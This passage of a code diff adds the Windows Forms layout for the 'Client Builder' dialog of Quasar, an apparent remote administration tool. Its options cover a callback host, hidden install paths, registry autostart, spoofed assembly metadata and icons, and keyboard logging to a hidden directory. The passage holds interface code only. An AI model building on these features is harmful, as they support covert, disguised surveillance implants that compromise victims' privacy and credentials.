this.lstHosts.Margin = new System.Windows.Forms.Padding(4); + this.lstHosts.Name = "lstHosts"; + this.lstHosts.Size = new System.Drawing.Size(185, 137); + this.lstHosts.TabIndex = 5; + this.lstHosts.TabStop = false; + // + // btnAddHost + // + this.btnAddHost.Location = new System.Drawing.Point(318, 98); + this.btnAddHost.Margin = new System.Windows.Forms.Padding(4); + this.btnAddHost.Name = "btnAddHost"; + this.btnAddHost.Size = new System.Drawing.Size(161, 28); + this.btnAddHost.TabIndex = 4; + this.btnAddHost.Text = "Add Host"; + this.btnAddHost.UseVisualStyleBackColor = true; + this.btnAddHost.Click += new System.EventHandler(this.btnAddHost_Click); + // + // lblMS + // + this.lblMS.AutoSize = true; + this.lblMS.Location = new System.Drawing.Point(445, 229); + this.lblMS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblMS.Name = "lblMS"; + this.lblMS.Size = new System.Drawing.Size(27, 19); + this.lblMS.TabIndex = 11; + this.lblMS.Text = "ms"; + // + // lblHost + // + this.lblHost.AutoSize = true; + this.lblHost.Location = new System.Drawing.Point(219, 31); + this.lblHost.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblHost.Name = "lblHost"; + this.lblHost.Size = new System.Drawing.Size(92, 19); + this.lblHost.TabIndex = 0; + this.lblHost.Text = "IP/Hostname:"; + // + // txtHost + // + this.txtHost.Location = new System.Drawing.Point(318, 28); + this.txtHost.Margin = new System.Windows.Forms.Padding(4); + this.txtHost.Name = "txtHost"; + this.txtHost.Size = new System.Drawing.Size(160, 26); + this.txtHost.TabIndex = 1; + // + // lblDelay + // + this.lblDelay.AutoSize = true; + this.lblDelay.Location = new System.Drawing.Point(21, 228); + this.lblDelay.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDelay.Name = "lblDelay"; + this.lblDelay.Size = new System.Drawing.Size(237, 19); + this.lblDelay.TabIndex = 9; + this.lblDelay.Text = "Time to wait between reconnect tries:"; + // + // lblPort + // + this.lblPort.AutoSize = true; + this.lblPort.Location = new System.Drawing.Point(219, 66); + this.lblPort.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPort.Name = "lblPort"; + this.lblPort.Size = new System.Drawing.Size(37, 19); + this.lblPort.TabIndex = 2; + this.lblPort.Text = "Port:"; + // + // installationPage + // + this.installationPage.BackColor = System.Drawing.SystemColors.Window; + this.installationPage.Controls.Add(this.chkHideSubDirectory); + this.installationPage.Controls.Add(this.line7); + this.installationPage.Controls.Add(this.label10); + this.installationPage.Controls.Add(this.line4); + this.installationPage.Controls.Add(this.label5); + this.installationPage.Controls.Add(this.picUAC2); + this.installationPage.Controls.Add(this.picUAC1); + this.installationPage.Controls.Add(this.chkInstall); + this.installationPage.Controls.Add(this.rbSystem); + this.installationPage.Controls.Add(this.lblInstallName); + this.installationPage.Controls.Add(this.rbProgramFiles); + this.installationPage.Controls.Add(this.txtInstallName); + this.installationPage.Controls.Add(this.txtRegistryKeyName); + this.installationPage.Controls.Add(this.lblExtension); + this.installationPage.Controls.Add(this.lblRegistryKeyName); + this.installationPage.Controls.Add(this.chkStartup); + this.installationPage.Controls.Add(this.rbAppdata); + this.installationPage.Controls.Add(this.chkHide); + this.installationPage.Controls.Add(this.lblInstallDirectory); + this.installationPage.Controls.Add(this.lblInstallSubDirectory); + this.installationPage.Controls.Add(this.lblPreviewPath); + this.installationPage.Controls.Add(this.txtInstallSubDirectory); + this.installationPage.Controls.Add(this.txtPreviewPath); + this.installationPage.ForeColor = System.Drawing.Color.White; + this.installationPage.Location = new System.Drawing.Point(140, 4); + this.installationPage.Margin = new System.Windows.Forms.Padding(4); + this.installationPage.Name = "installationPage"; + this.installationPage.Padding = new System.Windows.Forms.Padding(4); + this.installationPage.Size = new System.Drawing.Size(525, 459); + this.installationPage.TabIndex = 1; + this.installationPage.Text = "Installation Settings"; + // + // chkHideSubDirectory + // + this.chkHideSubDirectory.AutoSize = true; + this.chkHideSubDirectory.Location = new System.Drawing.Point(232, 231); + this.chkHideSubDirectory.Margin = new System.Windows.Forms.Padding(4); + this.chkHideSubDirectory.Name = "chkHideSubDirectory"; + this.chkHideSubDirectory.Size = new System.Drawing.Size(218, 23); + this.chkHideSubDirectory.TabIndex = 37; + this.chkHideSubDirectory.Text = "Set subdir attributes to hidden"; + this.chkHideSubDirectory.UseVisualStyleBackColor = true; + // + // line7 + // + this.line7.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line7.Location = new System.Drawing.Point(75, 342); + this.line7.Margin = new System.Windows.Forms.Padding(4); + this.line7.Name = "line7"; + this.line7.Size = new System.Drawing.Size(404, 16); + this.line7.TabIndex = 36; + this.line7.TabStop = false; + // + // label10 + // + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(9, 342); + this.label10.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(67, 19); + this.label10.TabIndex = 14; + this.label10.Text = "Autostart"; + // + // line4 + // + this.line4.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line4.Location = new System.Drawing.Point(146, 6); + this.line4.Margin = new System.Windows.Forms.Padding(4); + this.line4.Name = "line4"; + this.line4.Size = new System.Drawing.Size(332, 16); + this.line4.TabIndex = 34; + this.line4.TabStop = false; + // + // label5 + // + this.label5.AutoSize = true; + this.label5.Location = new System.Drawing.Point(8, 6); + this.label5.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(132, 19); + this.label5.TabIndex = 0; + this.label5.Text = "Installation Location"; + // + // chkInstall + // + this.chkInstall.AutoSize = true; + this.chkInstall.Location = new System.Drawing.Point(25, 26); + this.chkInstall.Margin = new System.Windows.Forms.Padding(4); + this.chkInstall.Name = "chkInstall"; + this.chkInstall.Size = new System.Drawing.Size(106, 23); + this.chkInstall.TabIndex = 1; + this.chkInstall.Text = "Install Client"; + this.chkInstall.UseVisualStyleBackColor = true; + this.chkInstall.CheckedChanged += new System.EventHandler(this.chkInstall_CheckedChanged); + // + // lblInstallName + // + this.lblInstallName.AutoSize = true; + this.lblInstallName.Location = new System.Drawing.Point(21, 195); + this.lblInstallName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallName.Name = "lblInstallName"; + this.lblInstallName.Size = new System.Drawing.Size(88, 19); + this.lblInstallName.TabIndex = 8; + this.lblInstallName.Text = "Install Name:"; + // + // txtInstallName + // + this.txtInstallName.Location = new System.Drawing.Point(228, 191); + this.txtInstallName.Margin = new System.Windows.Forms.Padding(4); + this.txtInstallName.Name = "txtInstallName"; + this.txtInstallName.Size = new System.Drawing.Size(212, 26); + this.txtInstallName.TabIndex = 9; + this.txtInstallName.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallname_KeyPress); + // + // txtRegistryKeyName + // + this.txtRegistryKeyName.Location = new System.Drawing.Point(228, 405); + this.txtRegistryKeyName.Margin = new System.Windows.Forms.Padding(4); + this.txtRegistryKeyName.Name = "txtRegistryKeyName"; + this.txtRegistryKeyName.Size = new System.Drawing.Size(250, 26); + this.txtRegistryKeyName.TabIndex = 17; + this.txtRegistryKeyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblExtension + // + this.lblExtension.AutoSize = true; + this.lblExtension.Location = new System.Drawing.Point(440, 199); + this.lblExtension.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblExtension.Name = "lblExtension"; + this.lblExtension.Size = new System.Drawing.Size(32, 19); + this.lblExtension.TabIndex = 10; + this.lblExtension.Text = ".exe"; + // + // lblRegistryKeyName + // + this.lblRegistryKeyName.AutoSize = true; + this.lblRegistryKeyName.Location = new System.Drawing.Point(21, 409); + this.lblRegistryKeyName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblRegistryKeyName.Name = "lblRegistryKeyName"; + this.lblRegistryKeyName.Size = new System.Drawing.Size(97, 19); + this.lblRegistryKeyName.TabIndex = 16; + this.lblRegistryKeyName.Text = "Startup Name:"; + // + // chkStartup + // + this.chkStartup.AutoSize = true; + this.chkStartup.Location = new System.Drawing.Point(25, 372); + this.chkStartup.Margin = new System.Windows.Forms.Padding(4); + this.chkStartup.Name = "chkStartup"; + this.chkStartup.Size = new System.Drawing.Size(256, 23); + this.chkStartup.TabIndex = 15; + this.chkStartup.Text = "Run Client when the computer starts"; + this.chkStartup.UseVisualStyleBackColor = true; + this.chkStartup.CheckedChanged += new System.EventHandler(this.chkStartup_CheckedChanged); + // + // rbAppdata + // + this.rbAppdata.AutoSize = true; + this.rbAppdata.Checked = true; + this.rbAppdata.Location = new System.Drawing.Point(301, 56); + this.rbAppdata.Margin = new System.Windows.Forms.Padding(4); + this.rbAppdata.Name = "rbAppdata"; + this.rbAppdata.Size = new System.Drawing.Size(163, 23); + this.rbAppdata.TabIndex = 3; + this.rbAppdata.TabStop = true; + this.rbAppdata.Text = "User Application Data"; + this.rbAppdata.UseVisualStyleBackColor = true; + this.rbAppdata.CheckedChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + // + // chkHide + // + this.chkHide.AutoSize = true; + this.chkHide.Location = new System.Drawing.Point(25, 231); + this.chkHide.Margin = new System.Windows.Forms.Padding(4); + this.chkHide.Name = "chkHide"; + this.chkHide.Size = new System.Drawing.Size(197, 23); + this.chkHide.TabIndex = 11; + this.chkHide.Text = "Set file attributes to hidden"; + this.chkHide.UseVisualStyleBackColor = true; + this.chkHide.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblInstallDirectory + // + this.lblInstallDirectory.AutoSize = true; + this.lblInstallDirectory.Location = new System.Drawing.Point(21, 59); + this.lblInstallDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallDirectory.Name = "lblInstallDirectory"; + this.lblInstallDirectory.Size = new System.Drawing.Size(108, 19); + this.lblInstallDirectory.TabIndex = 2; + this.lblInstallDirectory.Text = "Install Directory:"; + // + // lblInstallSubDirectory + // + this.lblInstallSubDirectory.AutoSize = true; + this.lblInstallSubDirectory.Location = new System.Drawing.Point(21, 158); + this.lblInstallSubDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblInstallSubDirectory.Name = "lblInstallSubDirectory"; + this.lblInstallSubDirectory.Size = new System.Drawing.Size(129, 19); + this.lblInstallSubDirectory.TabIndex = 6; + this.lblInstallSubDirectory.Text = "Install Subdirectory:"; + // + // lblPreviewPath + // + this.lblPreviewPath.AutoSize = true; + this.lblPreviewPath.Location = new System.Drawing.Point(21, 272); + this.lblPreviewPath.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblPreviewPath.Name = "lblPreviewPath"; + this.lblPreviewPath.Size = new System.Drawing.Size(186, 19); + this.lblPreviewPath.TabIndex = 12; + this.lblPreviewPath.Text = "Installation Location Preview:"; + // + // txtInstallSubDirectory + // + this.txtInstallSubDirectory.Location = new System.Drawing.Point(228, 154); + this.txtInstallSubDirectory.Margin = new System.Windows.Forms.Padding(4); + this.txtInstallSubDirectory.Name = "txtInstallSubDirectory"; + this.txtInstallSubDirectory.Size = new System.Drawing.Size(250, 26); + this.txtInstallSubDirectory.TabIndex = 7; + this.txtInstallSubDirectory.TextChanged += new System.EventHandler(this.HasChangedSettingAndFilePath); + this.txtInstallSubDirectory.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtInstallsub_KeyPress); + // + // txtPreviewPath + // + this.txtPreviewPath.Location = new System.Drawing.Point(25, 292); + this.txtPreviewPath.Margin = new System.Windows.Forms.Padding(4); + this.txtPreviewPath.Name = "txtPreviewPath"; + this.txtPreviewPath.ReadOnly = true; + this.txtPreviewPath.Size = new System.Drawing.Size(453, 26); + this.txtPreviewPath.TabIndex = 13; + this.txtPreviewPath.TabStop = false; + // + // assemblyPage + // + this.assemblyPage.BackColor = System.Drawing.SystemColors.Window; + this.assemblyPage.Controls.Add(this.iconPreview); + this.assemblyPage.Controls.Add(this.btnBrowseIcon); + this.assemblyPage.Controls.Add(this.txtIconPath); + this.assemblyPage.Controls.Add(this.line8); + this.assemblyPage.Controls.Add(this.label11); + this.assemblyPage.Controls.Add(this.chkChangeAsmInfo); + this.assemblyPage.Controls.Add(this.txtFileVersion); + this.assemblyPage.Controls.Add(this.line9); + this.assemblyPage.Controls.Add(this.lblProductName); + this.assemblyPage.Controls.Add(this.label12); + this.assemblyPage.Controls.Add(this.chkChangeIcon); + this.assemblyPage.Controls.Add(this.lblFileVersion); + this.assemblyPage.Controls.Add(this.txtProductName); + this.assemblyPage.Controls.Add(this.txtProductVersion); + this.assemblyPage.Controls.Add(this.lblDescription); + this.assemblyPage.Controls.Add(this.lblProductVersion); + this.assemblyPage.Controls.Add(this.txtDescription); + this.assemblyPage.Controls.Add(this.txtOriginalFilename); + this.assemblyPage.Controls.Add(this.lblCompanyName); + this.assemblyPage.Controls.Add(this.lblOriginalFilename); + this.assemblyPage.Controls.Add(this.txtCompanyName); + this.assemblyPage.Controls.Add(this.txtTrademarks); + this.assemblyPage.Controls.Add(this.lblCopyright); + this.assemblyPage.Controls.Add(this.lblTrademarks); + this.assemblyPage.Controls.Add(this.txtCopyright); + this.assemblyPage.ForeColor = System.Drawing.Color.White; + this.assemblyPage.Location = new System.Drawing.Point(140, 4); + this.assemblyPage.Margin = new System.Windows.Forms.Padding(4); + this.assemblyPage.Name = "assemblyPage"; + this.assemblyPage.Size = new System.Drawing.Size(525, 459); + this.assemblyPage.TabIndex = 2; + this.assemblyPage.Text = "Assembly Settings"; + // + // iconPreview + // + this.iconPreview.Location = new System.Drawing.Point(399, 378); + this.iconPreview.Margin = new System.Windows.Forms.Padding(4); + this.iconPreview.Name = "iconPreview"; + this.iconPreview.Size = new System.Drawing.Size(80, 80); + this.iconPreview.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.iconPreview.TabIndex = 42; + this.iconPreview.TabStop = false; + // + // btnBrowseIcon + // + this.btnBrowseIcon.Location = new System.Drawing.Point(221, 429); + this.btnBrowseIcon.Margin = new System.Windows.Forms.Padding(4); + this.btnBrowseIcon.Name = "btnBrowseIcon"; + this.btnBrowseIcon.Size = new System.Drawing.Size(156, 29); + this.btnBrowseIcon.TabIndex = 41; + this.btnBrowseIcon.Text = "Browse..."; + this.btnBrowseIcon.UseVisualStyleBackColor = true; + this.btnBrowseIcon.Click += new System.EventHandler(this.btnBrowseIcon_Click); + // + // txtIconPath + // + this.txtIconPath.Location = new System.Drawing.Point(25, 394); + this.txtIconPath.Margin = new System.Windows.Forms.Padding(4); + this.txtIconPath.Name = "txtIconPath"; + this.txtIconPath.Size = new System.Drawing.Size(352, 26); + this.txtIconPath.TabIndex = 39; + // + // line8 + // + this.line8.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line8.Location = new System.Drawing.Point(152, 6); + this.line8.Margin = new System.Windows.Forms.Padding(4); + this.line8.Name = "line8"; + this.line8.Size = new System.Drawing.Size(326, 16); + this.line8.TabIndex = 36; + this.line8.TabStop = false; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Location = new System.Drawing.Point(8, 6); + this.label11.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(143, 19); + this.label11.TabIndex = 35; + this.label11.Text = "Assembly Information"; + // + // chkChangeAsmInfo + // + this.chkChangeAsmInfo.AutoSize = true; + this.chkChangeAsmInfo.Location = new System.Drawing.Point(25, 26); + this.chkChangeAsmInfo.Margin = new System.Windows.Forms.Padding(4); + this.chkChangeAsmInfo.Name = "chkChangeAsmInfo"; + this.chkChangeAsmInfo.Size = new System.Drawing.Size(216, 23); + this.chkChangeAsmInfo.TabIndex = 0; + this.chkChangeAsmInfo.Text = "Change Assembly Information"; + this.chkChangeAsmInfo.UseVisualStyleBackColor = true; + this.chkChangeAsmInfo.CheckedChanged += new System.EventHandler(this.chkChangeAsmInfo_CheckedChanged); + // + // txtFileVersion + // + this.txtFileVersion.Location = new System.Drawing.Point(228, 300); + this.txtFileVersion.Margin = new System.Windows.Forms.Padding(4); + this.txtFileVersion.Name = "txtFileVersion"; + this.txtFileVersion.Size = new System.Drawing.Size(250, 26); + this.txtFileVersion.TabIndex = 16; + this.txtFileVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // line9 + // + this.line9.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line9.Location = new System.Drawing.Point(104, 345); + this.line9.Margin = new System.Windows.Forms.Padding(4); + this.line9.Name = "line9"; + this.line9.Size = new System.Drawing.Size(375, 16); + this.line9.TabIndex = 38; + this.line9.TabStop = false; + // + // lblProductName + // + this.lblProductName.AutoSize = true; + this.lblProductName.Location = new System.Drawing.Point(21, 59); + this.lblProductName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblProductName.Name = "lblProductName"; + this.lblProductName.Size = new System.Drawing.Size(100, 19); + this.lblProductName.TabIndex = 1; + this.lblProductName.Text = "Product Name:"; + // + // label12 + // + this.label12.AutoSize = true; + this.label12.Location = new System.Drawing.Point(8, 345); + this.label12.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label12.Name = "label12"; + this.label12.Size = new System.Drawing.Size(97, 19); + this.label12.TabIndex = 0; + this.label12.Text = "Assembly Icon"; + // + // chkChangeIcon + // + this.chkChangeIcon.AutoSize = true; + this.chkChangeIcon.Location = new System.Drawing.Point(25, 368); + this.chkChangeIcon.Margin = new System.Windows.Forms.Padding(4); + this.chkChangeIcon.Name = "chkChangeIcon"; + this.chkChangeIcon.Size = new System.Drawing.Size(170, 23); + this.chkChangeIcon.TabIndex = 2; + this.chkChangeIcon.Text = "Change Assembly Icon"; + this.chkChangeIcon.UseVisualStyleBackColor = true; + this.chkChangeIcon.CheckedChanged += new System.EventHandler(this.chkChangeIcon_CheckedChanged); + // + // lblFileVersion + // + this.lblFileVersion.AutoSize = true; + this.lblFileVersion.Location = new System.Drawing.Point(21, 304); + this.lblFileVersion.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFileVersion.Name = "lblFileVersion"; + this.lblFileVersion.Size = new System.Drawing.Size(81, 19); + this.lblFileVersion.TabIndex = 15; + this.lblFileVersion.Text = "File Version:"; + // + // txtProductName + // + this.txtProductName.Location = new System.Drawing.Point(228, 55); + this.txtProductName.Margin = new System.Windows.Forms.Padding(4); + this.txtProductName.Name = "txtProductName"; + this.txtProductName.Size = new System.Drawing.Size(250, 26); + this.txtProductName.TabIndex = 2; + this.txtProductName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtProductVersion + // + this.txtProductVersion.Location = new System.Drawing.Point(228, 265); + this.txtProductVersion.Margin = new System.Windows.Forms.Padding(4); + this.txtProductVersion.Name = "txtProductVersion"; + this.txtProductVersion.Size = new System.Drawing.Size(250, 26); + this.txtProductVersion.TabIndex = 14; + this.txtProductVersion.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Location = new System.Drawing.Point(21, 94); + this.lblDescription.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(81, 19); + this.lblDescription.TabIndex = 3; + this.lblDescription.Text = "Description:"; + // + // lblProductVersion + // + this.lblProductVersion.AutoSize = true; + this.lblProductVersion.Location = new System.Drawing.Point(21, 269); + this.lblProductVersion.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblProductVersion.Name = "lblProductVersion"; + this.lblProductVersion.Size = new System.Drawing.Size(109, 19); + this.lblProductVersion.TabIndex = 13; + this.lblProductVersion.Text = "Product Version:"; + // + // txtDescription + // + this.txtDescription.Location = new System.Drawing.Point(228, 90); + this.txtDescription.Margin = new System.Windows.Forms.Padding(4); + this.txtDescription.Name = "txtDescription"; + this.txtDescription.Size = new System.Drawing.Size(250, 26); + this.txtDescription.TabIndex = 4; + this.txtDescription.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtOriginalFilename + // + this.txtOriginalFilename.Location = new System.Drawing.Point(228, 230); + this.txtOriginalFilename.Margin = new System.Windows.Forms.Padding(4); + this.txtOriginalFilename.Name = "txtOriginalFilename"; + this.txtOriginalFilename.Size = new System.Drawing.Size(250, 26); + this.txtOriginalFilename.TabIndex = 12; + this.txtOriginalFilename.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCompanyName + // + this.lblCompanyName.AutoSize = true; + this.lblCompanyName.Location = new System.Drawing.Point(21, 129); + this.lblCompanyName.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCompanyName.Name = "lblCompanyName"; + this.lblCompanyName.Size = new System.Drawing.Size(111, 19); + this.lblCompanyName.TabIndex = 5; + this.lblCompanyName.Text = "Company Name:"; + // + // lblOriginalFilename + // + this.lblOriginalFilename.AutoSize = true; + this.lblOriginalFilename.Location = new System.Drawing.Point(21, 234); + this.lblOriginalFilename.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblOriginalFilename.Name = "lblOriginalFilename"; + this.lblOriginalFilename.Size = new System.Drawing.Size(118, 19); + this.lblOriginalFilename.TabIndex = 11; + this.lblOriginalFilename.Text = "Original Filename:"; + // + // txtCompanyName + // + this.txtCompanyName.Location = new System.Drawing.Point(228, 125); + this.txtCompanyName.Margin = new System.Windows.Forms.Padding(4); + this.txtCompanyName.Name = "txtCompanyName"; + this.txtCompanyName.Size = new System.Drawing.Size(250, 26); + this.txtCompanyName.TabIndex = 6; + this.txtCompanyName.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtTrademarks + // + this.txtTrademarks.Location = new System.Drawing.Point(228, 195); + this.txtTrademarks.Margin = new System.Windows.Forms.Padding(4); + this.txtTrademarks.Name = "txtTrademarks"; + this.txtTrademarks.Size = new System.Drawing.Size(250, 26); + this.txtTrademarks.TabIndex = 10; + this.txtTrademarks.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // lblCopyright + // + this.lblCopyright.AutoSize = true; + this.lblCopyright.Location = new System.Drawing.Point(21, 164); + this.lblCopyright.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblCopyright.Name = "lblCopyright"; + this.lblCopyright.Size = new System.Drawing.Size(73, 19); + this.lblCopyright.TabIndex = 7; + this.lblCopyright.Text = "Copyright:"; + // + // lblTrademarks + // + this.lblTrademarks.AutoSize = true; + this.lblTrademarks.Location = new System.Drawing.Point(21, 199); + this.lblTrademarks.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblTrademarks.Name = "lblTrademarks"; + this.lblTrademarks.Size = new System.Drawing.Size(82, 19); + this.lblTrademarks.TabIndex = 9; + this.lblTrademarks.Text = "Trademarks:"; + // + // txtCopyright + // + this.txtCopyright.Location = new System.Drawing.Point(228, 160); + this.txtCopyright.Margin = new System.Windows.Forms.Padding(4); + this.txtCopyright.Name = "txtCopyright"; + this.txtCopyright.Size = new System.Drawing.Size(250, 26); + this.txtCopyright.TabIndex = 8; + this.txtCopyright.TextChanged += new System.EventHandler(this.HasChangedSetting); + // + // monitoringTab + // + this.monitoringTab.BackColor = System.Drawing.Color.Transparent; + this.monitoringTab.Controls.Add(this.chkHideLogDirectory); + this.monitoringTab.Controls.Add(this.txtLogDirectoryName); + this.monitoringTab.Controls.Add(this.lblLogDirectory); + this.monitoringTab.Controls.Add(this.line10); + this.monitoringTab.Controls.Add(this.label14); + this.monitoringTab.Controls.Add(this.chkKeylogger); + this.monitoringTab.ForeColor = System.Drawing.Color.White; + this.monitoringTab.Location = new System.Drawing.Point(140, 4); + this.monitoringTab.Margin = new System.Windows.Forms.Padding(4); + this.monitoringTab.Name = "monitoringTab"; + this.monitoringTab.Size = new System.Drawing.Size(525, 459); + this.monitoringTab.TabIndex = 3; + this.monitoringTab.Text = "Monitoring Settings"; + // + // chkHideLogDirectory + // + this.chkHideLogDirectory.AutoSize = true; + this.chkHideLogDirectory.Location = new System.Drawing.Point(25, 90); + this.chkHideLogDirectory.Margin = new System.Windows.Forms.Padding(4); + this.chkHideLogDirectory.Name = "chkHideLogDirectory"; + this.chkHideLogDirectory.Size = new System.Drawing.Size(234, 23); + this.chkHideLogDirectory.TabIndex = 7; + this.chkHideLogDirectory.Text = "Set directory attributes to hidden"; + this.chkHideLogDirectory.UseVisualStyleBackColor = true; + this.chkHideLogDirectory.CheckedChanged += new System.EventHandler(this.HasChangedSetting); + // + // txtLogDirectoryName + // + this.txtLogDirectoryName.Location = new System.Drawing.Point(328, 55); + this.txtLogDirectoryName.Margin = new System.Windows.Forms.Padding(4); + this.txtLogDirectoryName.Name = "txtLogDirectoryName"; + this.txtLogDirectoryName.Size = new System.Drawing.Size(146, 26); + this.txtLogDirectoryName.TabIndex = 6; + this.txtLogDirectoryName.TextChanged += new System.EventHandler(this.HasChangedSetting); + this.txtLogDirectoryName.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.txtLogDirectoryName_KeyPress); + // + // lblLogDirectory + // + this.lblLogDirectory.AutoSize = true; + this.lblLogDirectory.Location = new System.Drawing.Point(21, 59); + this.lblLogDirectory.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblLogDirectory.Name = "lblLogDirectory"; + this.lblLogDirectory.Size = new System.Drawing.Size(135, 19); + this.lblLogDirectory.TabIndex = 5; + this.lblLogDirectory.Text = "Log Directory Name:"; + // + // line10 + // + this.line10.LineAlignment = Quasar.Server.Controls.Line.Alignment.Horizontal; + this.line10.Location = new System.Drawing.Point(98, 6); + this.line10.Margin = new System.Windows.Forms.Padding(4); + this.line10.Name = "line10"; + this.line10.Size = new System.Drawing.Size(378, 16); + this.line10.TabIndex = 41; + this.line10.TabStop = false; + // + // label14 + // + this.label14.AutoSize = true; + this.label14.Location = new System.Drawing.Point(8, 6); + this.label14.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.label14.Name = "label14"; + this.label14.Size = new System.Drawing.Size(78, 19); + this.label14.TabIndex = 3; + this.label14.Text = "Monitoring"; + // + // chkKeylogger + // + this.chkKeylogger.AutoSize = true; + this.chkKeylogger.Location = new System.Drawing.Point(25, 26); + this.chkKeylogger.Margin = new System.Windows.Forms.Padding(4); + this.chkKeylogger.Name = "chkKeylogger"; + this.chkKeylogger.Size = new System.Drawing.Size(182, 23); + this.chkKeylogger.TabIndex = 4; + this.chkKeylogger.Text = "Enable keyboard logging"; + this.chkKeylogger.UseVisualStyleBackColor = true; + this.chkKeylogger.CheckedChanged += new System.EventHandler(this.chkKeylogger_CheckedChanged); + // + // FrmBuilder + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(957, 545); + this.Controls.Add(this.builderTabs); + this.Controls.Add(this.btnOpenBuildsFolder); + this.Controls.Add(this.btnBuild); + this.Controls.Add(this.btnSaveProfile); + this.Controls.Add(this.lblOutputFormat); + this.Controls.Add(this.cmbOutputFormat); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(0); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmBuilder"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Client Builder"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmBuilder_FormClosing); + this.Load += new System.EventHandler(this.FrmBuilder_Load); + ((System.ComponentModel.ISupportInitialize)(this.picUAC2)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picUAC1)).EndInit(); + this.contextMenuStrip.ResumeLayout(false); + this.builderTabs.ResumeLayout(false); + this.generalPage.ResumeLayout(false); + this.generalPage.PerformLayout(); + this.connectionPage.ResumeLayout(false); + this.connectionPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownPort)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDownDelay)).EndInit(); + this.installationPage.ResumeLayout(false); + this.installationPage.PerformLayout(); + this.assemblyPage.ResumeLayout(false); + this.assemblyPage.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.iconPreview)).EndInit(); + this.monitoringTab.ResumeLayout(false); + this.monitoringTab.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblPort; + private System.Windows.Forms.TextBox txtHost; + private System.Windows.Forms.Label lblHost; + private System.Windows.Forms.Label lblDelay; + private System.Windows.Forms.CheckBox chkInstall; + private System.Windows.Forms.TextBox txtInstallName; + private System.Windows.Forms.Label lblInstallName; + private System.Windows.Forms.TextBox txtMutex; + private System.Windows.Forms.Label lblMutex; + private System.Windows.Forms.Label lblExtension; + private System.Windows.Forms.Label lblInstallDirectory; + private System.Windows.Forms.RadioButton rbAppdata; + private System.Windows.Forms.TextBox txtInstallSubDirectory; + private System.Windows.Forms.Label lblInstallSubDirectory; + private System.Windows.Forms.Label lblPreviewPath; + private System.Windows.Forms.TextBox txtPreviewPath; + private System.Windows.Forms.Button btnMutex; + private System.Windows.Forms.CheckBox chkHide; + private System.Windows.Forms.TextBox txtRegistryKeyName; + private System.Windows.Forms.Label lblRegistryKeyName; + private System.Windows.Forms.CheckBox 